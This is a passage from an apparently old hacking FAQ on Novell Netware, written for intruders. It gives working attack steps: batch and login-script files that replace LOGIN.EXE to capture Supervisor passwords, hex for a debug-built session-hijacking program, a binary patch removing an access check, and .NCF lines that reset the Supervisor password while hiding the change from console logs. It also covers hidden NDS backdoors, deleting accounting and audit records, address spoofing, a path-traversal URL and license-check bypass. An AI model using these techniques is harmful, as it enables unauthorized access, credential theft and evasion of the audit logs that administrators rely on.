You can set the same settings at the workstation. The default for packet signatures is 1 at the server and client. If you wish to use a tool like HACK.EXE, try setting the signature level at 0 on the client by adding Signature Level=0 in the client's NET.CFG. If packet signatures are required at the server you won't even get logged in, but if you get logged in, hack away.

If you wish to change the signature level at the server, use a set command at the server console:

SET NCP PACKET SIGNATURE OPTION=2

As noted, the packet signature scheme only signs the important parts of NCP packets. Some NCP packets, including "fragmented" NCP packets, are not signed, and in some cases packet signature fucntions differently depending on the settings on the client. Also on Netware 4.x, a server attachs as an object in the connection list, and the packet signature on this does not work properly even if the server is set to Option 3. Details regarding these flaws can be found in a white paper by NMRC members Jitsu-Disk and Simple Nomad at http://www.nmrc.org/project/pandora/DOCS/NCP.TXT, and exploit code was released with Pandora v3.0 available from http://www.nmrc.org/project/pandora/download.html.


Top | Next: Netware Denial of Service | Previous: Netware Console Attacks | Table of Contents

23.0 Netware Denial of Service


This section contains info regarding Netware Denial of Service.


23.1 How can I abend a Netware server?

These are per itsme:

If you have console access, try this:

Another thing to try, with console access, is LOAD RARPSERV.NLM quickly followed by UNLOAD RARPSERV.NLM which will abend a Netware 4.11 server (tested with Service Pack 4 loaded). If RESTART AFTER ABEND is set (which is the default) the server will reboot. Using UNICON to UNLOAD RARPSERV.NLM and it should unload cleanly.

There are several flaws regarding NCP that can allow for interesting Denial of Service that will crash a server. One utility, Havoc, was released with Pandora, and a couple more (Burn and Yang) are available in our projects list.

23.2 Will Windows 95 cause server problems for Netware?

By default Windows 95 shipped with long file names (LFN) and Packet Burst enabled, which created a unique problem -- if the server didn't have long name space loaded (OS/2 name space) it caused problems with files and occassionally crashed the server. But the worse one was Packet Burst. Unless you had at least a 3.11 server with the PBURST.NLM up and running, along with drivers for the server's network capable of handling Packet Burst, the buffer space used for network connections and/or the buffer space on the network card created problems ranging from lockups to timeouts to abends.

There were a couple of different fixes you could do, like updating the server for long name space and Packet Burst (sorry Netware 2.x users), or you could update the clients' SYSTEM.INI file with the following entries:

[nwredir]
SupportBurst=0
SupportLFN=0

Alternately, a frame type (802.3) that doesn't support Packet Burst could be used, and you could enforce no LFNs via system policies.

23.3 Will Windows 95 cause network problems for Netware?

If File & Print Sharing for Netware is configured and you have non-Windows 95 users, there could be serious network problems. How does this happen? Here is a very simplified explanation -

The way Netware advertises its file and print services is via Netware's proprietary (but widely documented) Service Advertising Protocol (SAP). How to get to these resources is communicated via Routing Information Protocol (RIP) packets. Both SAP and RIP info are transmitted broadcast style. Netware servers and even intelligent networking equipment that conform to the SAP and RIP protocol scheme (like routers) share this info dynamically between each other.

The problem is when Windows 95 is set up with File & Print Sharing for Netware, because the Windows 95 workstation does a lousy job of implementing and interacting with the SAP and RIP info. As any LAN/WAN specialist will tell you, extra SAPs can quickly waste bandwidth, causing timeouts and broadcast storms. And that is exactly what Windows 95 does. Netware 3.x and 4.x have released patches, but the easiest thing to do is simply NOT use File & Print Sharing under Windows 95 -- use Netware's file and print services like they're supposed to be used, or use Client/FPS for Microsoft networks instead.

Can hackers take advantage of this? Here's the theory how:

What could prevent this? Well, in a WAN environment a router could be configured to only allow SAPs to come from certain segments, or every one of the workstations are running Windows 95 (which is probably Microsoft's solution). And even though I have heard from a dozen people stating that this could be done, no one has said they've done it (the alternate LOGIN directory and trojan LOGIN.EXE).


Top | Next: Netware Logging and Backdoors | Previous: Netware Client Attacks | Table of Contents

24.0 Netware Logging and Backdoors


This section contains info regarding logging and backdoors for Netware.


24.1 How do I leave a backdoor for Netware?

Once you are in, you want to leave a way back with supe equivalency. You can use SUPER.EXE, written for the express purpose of allowing the non-supe user to toggle on and off supe equivalency. If you use the cheesy way in (previous question), you turn onthe toggle before the admin removes your supe equivalency. If you gain access to a supe equivalent account, give Guest supe equivalency and then login as Guest and toggle it on.

Now get back in as the original supe account and remove the supe equivalency. Now Guest can toggle on supe equivalency whenever it's convenient.

Of course Guest doesn't have to be used, it could be another account, like an account used for e-mail administration or an e-mail router, a gateway's account, you get the idea.

Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix will give away that an account has been altered at the bindery level, but the only way for an admin to clear the error is to delete and rebuild the account.

24.2 What is the rumored "backdoor" in NDS?

The rumored backdoor in NDS exists - to an extent. The rumor is that there is a way to set up a backdoor into a system in NDS that is completely hidden from everyone and everything. There IS a way to get real close to this, although how "hidden" it is remains to be seen. One catch - you need full access to NDS i.e. Admin access to set it up. But if you can get Admin's password or access to a user with Admin or equivalent access then you can put in a backdoor that may go unnoticed for months, or perhaps never be discovered. Here's how to set it up:

Now this technique can be used by the paranoid admin that wants to give another user full access to a container, and this user wants to restrict access to this container. To prevent this user from forgetting their password (and making a section of the tree unmanageable or worse, disappear) an admin will use similiar techniques.

I have not been able to fully test this but it looks completely invisible to the average LAN admin. This does require an above average knowledge of NDS to set up, so most administrators will not even know how to look for this user.

Let's say you installed your backdoor at the XYZ Company, put your container inside the MIS container and called it BADBOY. Your backdoor is named BACKDOOR. Login like this:

LOGIN .BACKDOOR.BADBOY.MIS.XYZ

Now you will show up in the normal tools that show active connections on a server, so naming your backdoor "BACKDOOR" is probably not a great idea. Think of a name that might look like an automated attachment, and only use it when you think you won't be noticed.

If the site has Kane Security Analyst, they can find the backdoor.

It has come to our attention that there is now a tool from Novell Consutling's called "HOBJLOC"(hidden object locator) which may reveal the hidden object discussed above.

24.3 What is the bindery backdoor in Netware 4.x?

In developing Pandora, I discovered that the first user object in an NDS tree is a bindery object called Supervisor. This object gets its password set during install. To login, simply use the account name Supervisor. Early versions of DS.NLM do NOT assign a property to this object to even ALLOW you to set up Intruder Detection! Using the Intruder utility with Pandora v3.0, you can specifically attack this user account. Once logged in most administrative tools will not see it. An administrator cannot delete this account because an administrator cannot get to this account to delete it from NetAdmin or NwAdmin.

Bindery context is not required to use this object.

If an administrator creates a regular NDS account called Supervisor, this will defeat access to this object.

For more information on this, check out http://www.nmrc.org/project/pandora/inside.html.

24.4 Where are the common log files in Netware?

There are several. Here is a list with their location and their purposes:

24.5 What is Accounting?

Accounting is Novell's pain in the butt way to control and manage access to the server in a way that is "accountable". The admin set up charge rates for blocks read and written, service requests, connect time, and disk storage. The account "pays" for the service by being given some number, and the accounting server deduces for these items. How the account actually pays for these items (departmental billing, cash, whatever) you may or may not want to know about, but the fact that it could be installed could leave a footprint that you've been there.

Any valid account, including non-supe accounts, can check to see if Accounting is turned on. Simply run SYSCON and try to access Accounting, if you get a message that Accounting is not installed, then guess what?

Since it is a pain to administer, many sys admins will turn it on simply to time-stamp each login and logout, track intruders, and include the node address and account name of each of these items.

24.6 How do I defeat Accounting?

Turn it off. And spoof your node address. Here's the steps -

If you can't spoof the address (some LAN cards don't allow it or require extra drivers you may not have), just turn off Accounting and leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM directory.

It should be noted that to turn off and on Accounting you need supe equivalent, but you don't need supe equivalence to spoof the address.

24.7 What is Intruder Detection?

Intruder Detection is Novell's way of tracking invalid password attempts. While this feature is turned off by default, most sites practicing any type of security will at minimum turn this feature on. There are several parameters to Intruder Detection. First, there is a setting for how long the server will remember a bad password attempt. Typically this is set to 30 minutes, but can be as short as 10 minutes of as long as 7 days. Then there is a setting for how many attempts will lockout the account. This is usually 3 attempts, but can be as short as 1 or as many as 7. Finally is the length the account is locked out. The default is 30 minutes but it can range from 10 minutes to 7 days.

When an Intruder Detection occurs, the server beeps and a time-stamped message is displayed on the System Console with the account name that is now locked out and the node address from where to attempt came from. This is also written to the File Server Error Log. A Supervisor or equivalent can unlock the account before it frees itself up, and the File Server Error Log can also be erased by a Supervisor or equivalent.

In a large shop, it is not unusual to see Intruder Lockouts even on a daily basis, and forgetting a password is a typical regular-user thing to do. Intruder Lockouts on Supervisor or equivalent account is usually noticed.

24.8 How do I check for Intruder Detection?

The easiest way to check for Intruder Detection is to play with a valid account that you know the password of. Try the wrong password several times. If Intruder Detection is on, the account will be locked out once you try to get back in with the correct password.

24.9 What are station/time restrictions?

Time restrictions can be placed on an account to limit the times in which an account can be logged in. In the account is already logged in and the time changes to a restricted time, the account is logged out. The restriction can be per weekday down to the half hour. That means that if an admin wants to restrict an account from logging in except on Monday through Friday from 8-5, it can be done. Only Supervisor and equivalents can alter time restrictions. Altering the time at the workstation will not get you around time restrictions, only altering time at the server can change the ability to access.

Station restriction place a restriction on where an account can be used. Restrictions can be to a specific token ring or ethernet segment, and can be specific down to the MAC layer address, or node address. The only way around a station restriction at the node address is to spoof the address from a workstation on the same segment or ring as the address you are spoofing. Like time restrictions, only Supervisor and equivalents can alter station restrictions.

Of course you can remove station and time restrictions in SYSCON if you are a Supe equivalent.

24.10 How can I tell if something is being Audited in Netware 4.x?

Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be some binary files named NET$AUDT.* if Auditing has been used. Old Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing file will be named NET$AUDT.CAF. If these files do not exist, no Auditing is being or has been done. To check to see if Auditing is currently active, try to open the current Auditing file like this:

LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF

If it pulls up something (with a little garbage) then Auditing is currently turned off. If you get an error stating that NET$AUDT.CAF doesn't exist and do you wish to create it, that means the file is being hend open and Auditing is currently active on SOMETHING (remember, the EDIT.NLM normally handles open files pretty well, but trying to open a file already open in SYS:_NETWARE always gets this error).

Also, if the site is running Novell's Web Server software, use a web browser and try http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf and if you DO NOT receive an error, Auditing is or was active.

24.11 How can I remove Auditing if I lost the Audit password?

If the Auditor forgets the password, try a simple wipe and reload. Hello, hello, you seemed to have fainted...

You can try this although there is no guarantee it will work, it is just a theory. You see, the Auditing files are located in SYS:_NETWARE. As long as they are there and Auditing active, even deleting NDS and recreating it will not turn off Auditing. If you wish you can delete and rebuild SYS: which will get it. Try these listed items if you are desperate. I have tried them in the NMRC lab and got this to work a couple of times -- but once I trashed the server and NDS. One time it didn't work at all. But here it is:

      - Use RCONSOLE's directory scan and get the exact names of the Audit
        files, you know NET$AUDT.CAF but also files with an extension of .$AF
        are Auditing files, too.
      - Use the techniques in 06-2 and determine exactly which files are
        being held open by this particular server for Auditing.
      - Try booting up the server and running a sector editor.
      - Search the drive for the file names you found.
      - Change all occurrences of these names, save changes, and boot up.
      - If that didn't do the trick, try booting up the server using a 3.x
        SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the 
        Auditing files.
      - If THAT doesn't work, use repeated calls to the SYS:_NETWARE's
        directory table (using the APIs) and either delete or change the
        afore mentioned files.

Gee, maybe a "simple wipe and reload" is easier...

24.12 What is interesting about Netware 4.x's licensing?

It is possible to load multiple licenses and combine their total number of users. For example, if you are in one of those Novell CNE classes where they give you a 2 user 4.1 license, you can get everyone's CD in class and combine them on one server. If you get 10 CDs you have a 20 user license. I know of no limit to the maximum number of licenses and user limit, except for hardware limitations supporting it. This means you could load more than one copy of 1000 user Netware 4.1 on a server (assuming you have unique copies, not the same copy twice).

itsme has done some poking around with his tools, and has the following to say regarding the SERVER.EXE that comes with Netware 4:

 what's inside server.exe:
 0001d7c7  server.nlm          type=07
 000d319d  "Link" 000d504a
 000d31a5  unicode.nlm         type=00  (ordinary NLM)
 000d504a  "Link" 000d6e9c
 000d5052  dsloader.nlm        type=00  (ordinary NLM)
 000d6e9c  "Link" 000db808
 000d6ea4  timesync.nlm        type=00  (ordinary NLM)
 000db808  polimgr.nlm         type=0c  ('hidden' NLM)
   by editing the binary of server, and changing the type of polimgr.nlm
   from 0c to 00  (offset 007a or 000db882 in server.exe)
   it becomes unhidden.
   hidden NLM's are protected from debugging with the netware debugger.

   polimgr.nlm  manages the license files, after it reads the file,
   it checks with some kind of signature function whether it is a valid file
   the function doing the checking can be made to always return OK, then
   you can create an any number of users license.

24.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS?

It has been noted that when running Netware 3.x, specifically 3.12, over DOS, no windows at all, and you start Word Perfect version 5.1, enter a last name, then hit F5, you get access to the entire disk. NMRC is investigating and will keep you posted as to our results.


Top | Next: Netware Misc. Attack Info | Previous: Netware Denial of Service | Table of Contents

25.0 Netware Misc. Attack Info


This section has miscellaneous information regarding hacking and Netware.


25.1 How do I spoof my node or IP address?

This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function. Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.

Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.

For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network- related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.

Forging the IP address is quite tricky, and many people have written to me asking for specific tips. Since there are a number of different IP implementations this is rather impractical. However here are a few important items to remember:

For IP spoofing, you may want to try netcat ("the network swiss army knife") available via @stake's network utilities.

25.2 How can I see hidden files and directories?

Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.

25.3 How do I defeat the execute-only flag?

If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.

Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But once again X-AWAY.EXE requires Supervisor access.

To disable the check for Supe access in X-AWAY, try the following:

REN X-AWAY.EXE WORK
DEBUG WORK
EB84 EB
W
Q
REN WORK X-AWAY.EXE

Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides.

25.4 How can I hide my presence after altering files?

The best way is to use Filer. Here are the steps for removing file alterations -

While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire.

25.5 What is a Netware-aware trojan?

A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.

The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST.

Once activated the trojan could also erase itself since it is no longer needed.

25.6 What are Trustee Directory Assignments?

The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream). And these assignments are not located in the bindery, but on each volume.

The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ:

[quote] A trustee is any user or group that has been granted access rights in a directory.

The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.

The following is a summary of access rights for NetWare 3.

S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory.

R - Read. Enables users to read files.

C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created.

W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do).

E - Erase. Enable users to erase files and remove directories.

M - Modify. Enable users to modify file attributes.

F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.

A - Access control. Enable user to change trustee rights. They will be able to add other users as trustees, remove trustees, and grant/revoke specific rights from users. The only caveat of access control is that it is possible for users to remove themselves (as trustees) from directories, thus losing all access control.

In addition to trustees and access rights, there is a concept of inherited rights which means that users inherit rights from parent directories. For example, if user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the parent directory then she will have [RCWEMF] rights as a result of the inherited rights. This will only work if one of the rights that ALICE has in the two directories is granted to a group; if both are granted to her, she will lose the rights of the parent. [end quote]

25.7 Are there any default Trustee Assignments that can be exploited?

Two ways. In 3.x the group EVERYONE has Create rights in SYS:MAIL. This means the user (including GUEST) has the ability to write files to any subdirectory in SYS:MAIL. The first versions of Netware included a simple e-mail package, and every user that is created gets a subdirectory in mail with RCWEMF, named after their object ID number. One consistent number is the number 1, which is always assigned to Supervisor. Here's one way to exploit it:

Trick #1
--------

- Login as GUEST and change to the SYS:MAIL subdirectory. 
- Type DIR. You will see one subdirectory, the one owned by GUEST. Change into that directory (ex. here is C0003043) 
- Type DIR. If there is no file named LOGIN, you can bet there may not be one for Supervisor. If there is a default-looking LOGIN file, even a zero length file, you cannot proceed. 
- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043 
- Create a batch file (ex. here is BOMB.BAT) with the following entries: 

  @ECHO OFF
  FLAG \LOGIN\LOGIN.EXE N > NUL
  COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  FLAG \LOGIN\LOGIN.EXE SRO > NUL
  \MAIL\C0003043\PROP -C > NUL

- Create a LOGIN file with the following entries: 

  MAP DISPLAY OFF
  MAP ERRORS OFF
  MAP G:=SYS:
  DRIVE G:
  COMMAND /C #\MAIL\1\BOMB
  DRIVE F:
  MAP DELETE G:

- Now copy the files to the Supervisor's SYS:MAIL directory from a drive mapped to the SYS: volume. 

  TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
  TYPE LOGIN > \MAIL\1\LOGIN

- The next time the Supervisor logs in the LOGIN.EXE is replaced and the PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the passwords, and then once you have all the passwords you need (including Supervisor) delete your LOGIN and BOMB.BAT file. 

Admins can defeat this by creating default personal Login Scripts or by adding an EXIT command to the end of the System Login Script. Later versions of Netware create a zero-length LOGIN file at ID creation time in the SYS:MAIL directories to defeat this.

Trick #2
--------

Pegasus mail has a hole that ties into the Create rights in SYS:MAIL. Here's how 
to use it: 

- Create a RULES.PMQ file that sets up a rule to execute a file after receipt of a mail message. The program Run line should be something like: 

    COMMAND /C F:\MAIL\1\BOMB.BAT 

- Let's say your mail directory is SYS:MAIL\C0003043. Copy PROP.EXE and LOGIN.EXE (the itsme version) to that directory. 

- Your BOMB.BAT file should be like this: 

  @ECHO OFF
  FLAG \LOGIN\LOGIN.EXE N > NUL
  COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  FLAG \LOGIN\LOGIN.EXE SRO > NUL
  \MAIL\C0003043\PROP -C > NUL

- When the Supe reads his mail, the replacement LOGIN.EXE is active and capturing   passwords. After acquiring a Supe equiv account, delete the rogue files from SYS:MAIL\1 

This Pegasus mail problem will only work if the RULES.PMQ does not exist in the target directory.

Trick #2a
---------

If the RULES.PMQ file exists, obviously you cannot do this. After all, you can 
only create new files to these directories. But here's a way to try and trick
the Supe into deleting it for you: 

- Create a bunch of extra rules for Pegasus. Name them RULEA.PMQ through 
  RULER.PMQ, and RULET.PMQ through RULEZ.PMQ. 
- Next time the Supe logs in and accesses mail, errors. 
- The Supe deletes RULE?.PMQ to fix the problem, and RULES.PMQ is also removed. 
- Now do Trick #2 

25.8 What are some general ways to exploit Trustee Rights?

To find out all your trustee rights, use the WHOAMI /R command. The following section is a summary of what rights to expect, and the purpose. Where x appears, it means it doesn't matter if the right is set.

[SRWCEMFA] means you have FULL rights. They are all eight of the effective
        rights flags.

[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
        It means you have full access in that directory and all subdirectories.
        You cannot be excluded from any directory, even if a user explicitly
        tries to revoke your access in a subdirectory.

[xxxxxxxA] is next best thing to the S right. It means you have access
        control in that directory and all subdirectories. You can have your
        access control (along with any other rights) revoked in a subdirectory,
        but you can always use inherited rights to recover them (see the 
        c.o.n.s FAQ).

[ R    F ] is what users should have in directories containing software.
        You have the right to read files only.

[ RCWEMFx] is what users should have in their home directory. You can read,
        create, and edit files. If you find any unusual directories with 
        these rights, they can also be used for storing files (maybe an abuse 
        of the network, especially if this is exploited to avoid quota 
        systems).

[ RxW  F ] usually means that the directory is used for keeping log files.
        Unless you have the C right, it may not be possible to edit files in
        this directory.

The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.

25.9 Can access to .NCF files help me?

Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.

The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target.

The lines you might add to such a file might be as follows:

UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG

This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.

The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.

25.10 Can someone think they've logged out and I walk up and take over?

Yes. Here's how -

Type the following commands at the DOS prompt (or rip them out of this file, and feed them into DOS debug).

debug boo.com
e100 eb 2b 80 fc d7 74 22 3d 02 f1 74 1d 3d 19 f2 74
e110 18 3d 17 f2 74 0a 3d 17 f2 74 05 ea 5b 46 4d 5d
e120 50 b0 d2 38 45 02 58 75 f2 f8 ca 02 00 b4 49 8e
e130 06 2c 00 cd 21 b8 21 35 cd 21 89 1e 1c 01 8c 06
e140 1e 01 b8 21 25 ba 02 01 cd 21 ba 2d 01 cd 27 00
rcx
50
w
q

Just run it on a workstation running NetWare 2.x or 3.x, and wait for someone to login, use the machine, logout, and walk away. Oops. They forgot to logout? Now, isn't that just *bad* luck...

Moral: If you are using a public network (such as a school or university), don't just use LOGOUT. Switch the machine OFF.

25.11 What other Novell and third party programs have holes that give "too much access"?

Netware NFS has several bugs, as does IntraNetware.

For remote access, hackers always want a Shiva hooked up. You see, if a hacker gets a name from the internal name list, they may not need a user ID and password for a Novell server. If a Shiva user disconnects without logging out, the next person in will be in as that person -- Shiva doesn't drop the connection!

25.12 How can I get around disk space requirements?

Some admins forget to implement disk space restrictions on some volumes, but give write access to everyone. This allows you to use more resources than the supe intended.

Some systems keep user's home directories on one volume, and only restrict disk space on that one volume. Applications and system files will be kept on other volumes. Since some applications require write access to their directories, if the volume space is not limited, any user capable of running the program can use the extra disk space available (an e-mail program like Microsoft Mail on it's own volume leaps to mind). If space isn't limited on SYS, on 3.x there is the SYS:MAIL\xxxxxxxx directory (where xxxxxxxx is your bindery object ID), but this is not there by default in 4.x. However if Pegasus mail is being used, or if the server was migrated from 3.x to 4.x, the directory structure and access may be the same.

25.13 How do I remotely reboot a Netware 3.x file server?

If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps -

- Create a file called DOWNBOY.NCF on your local drive. It should be a text file 
  and contain the following lines: 

        REMOVE DOS
        DOWN
        EXIT

- Copy up the file to the SYS:SYSTEM directory using RCONSOLE. 
- At the System Console prompt, type DOWNBOY and enter. 

What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.

25.14 What is Netware NFS and is it secure?

NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.

While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are, unless the versions are Netware NFS 2.1 or greater with Netware 4.x AND the Unix side is NOT running NIS. Simply adding the proper UID to the NDS object to create a relationship for rights to be passed back and forth. There are three modes -- Unix is God, Netware is God, or both are right.

A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.

On Netware 3.11 if you ask the portmapper for an NFS handle it will give you one. When you give NFS the file handle it will check its LOCAL portmapper and then grant the request. You can then read any file on the mount you just made.

Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.

25.15 Can sniffing packets help me break into Netware servers?

Yes. If a user is logging in and the password is being transmitted to the server unencrypted, it will show up as plain text in the trace. If the site uses telnet and ftp, capturing those password will come in handy. Outside of gaining access to another system, many users will make their passwords the same across all systems.

RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.

A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.

The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.

During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.

Once RCONSOLE is up on the workstation, the user chooses the server, hits enter, and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset 39h is always FF.

Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.

Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?

25.16 What else can sniffing around Netware get me?

It has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occassional gems are available. The best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.

Teiwaz discovered that SYSCON sends password changes in plaintext. While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x, SYSCON does not.

Einer kindly reminded me that sniffing will show other usernames and passwords such as TELNET, FTP, POP3, and others. Often users use the same passwords from system to system, so these passwords could be used to try on the Netware accounts. In large shops, the administrators of Netware may also have the same passwords for privileged accounts from system to system, so the Admin or Supervisor account may match the root account on a Unix box. Therefore a TELNET session that contains an su to root might reveil the Admin password.

25.17 Do any Netware utilities have holes like Unix utilities?

This is a fairly common question, inspired by stack overrun errors, sendmail bugs, and the like that exist in the Unix world. The reason you do not have these kind of exploits in common Netware utilities is because:

25.18 Where can I get the Netware APIs?

Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.

25.19 Are there alternatives to Netware's APIs?

There are a few. Here is info on them -

Visual ManageWare by HiTecSoft at (602) 970-1025. This product allows development of NLMs and DOS EXEs using a Visual Basic type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD$895.00. Pricey but looks good, I have not used this product. Novell recently bought/licensed this product so the availability may have changed.

Adrian Cunnelly recently made his C libs for Netware free. You can reach him at adrian@amcsoft.demon.co.uk. These include the source code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip

And take a look at Greg Miller's site, especially for those Pascal coders out there at http://www.gregmiller.net/.

Pandora v3.0 includes its own API, the Pandora Toolbox API, written by Jitsu-Disk. While the project was intended for hackers and not admins, some coders might find it to be a useful package. It is available at http://www.nmrc.org/project/pandora/index.html.

The "GNU Novell Client" project gives a unique insight on the NCP protocol, it can be downloaded at ftp://platan.vc.cvut.cz/pub/linux/ncpfs/. It has tons of source code included.

25.20 How can I remove NDS?

This one is dangerous. This one will get you your Admin account back if you lost the password, and is not for the light-hearted if you plan on actually using NDS afterwards. Do this at a 4.1 console:

LOAD INSTALL -DSREMOVE

Now in the INSTALL module, go ahead and try to remove NDS. As a part of the process, it will ask you for the Admin password, get this, JUST MAKE ONE UP. If you get errors, no problem. Keep going and you can remove NDS from the server. Even though you gave it the wrong password, it will still let you remove NDS. I told you this one is real wicked...

25.21 What are security considerations regarding partitions of the tree?

Most of this is covered as individual items, but here is a bit regarding partitioning of the tree.

As mentioned in the password section, you can set the bindery context of a server to help you recover a lost ADMIN password. It should be noted that you can only access containers in the current servers partition.

With larger networks things get more complex. For example, a "supervisor" account (one with full access to the file system) may have limited access on another server. The number of possible leaks for intruders grows with the size of the network.

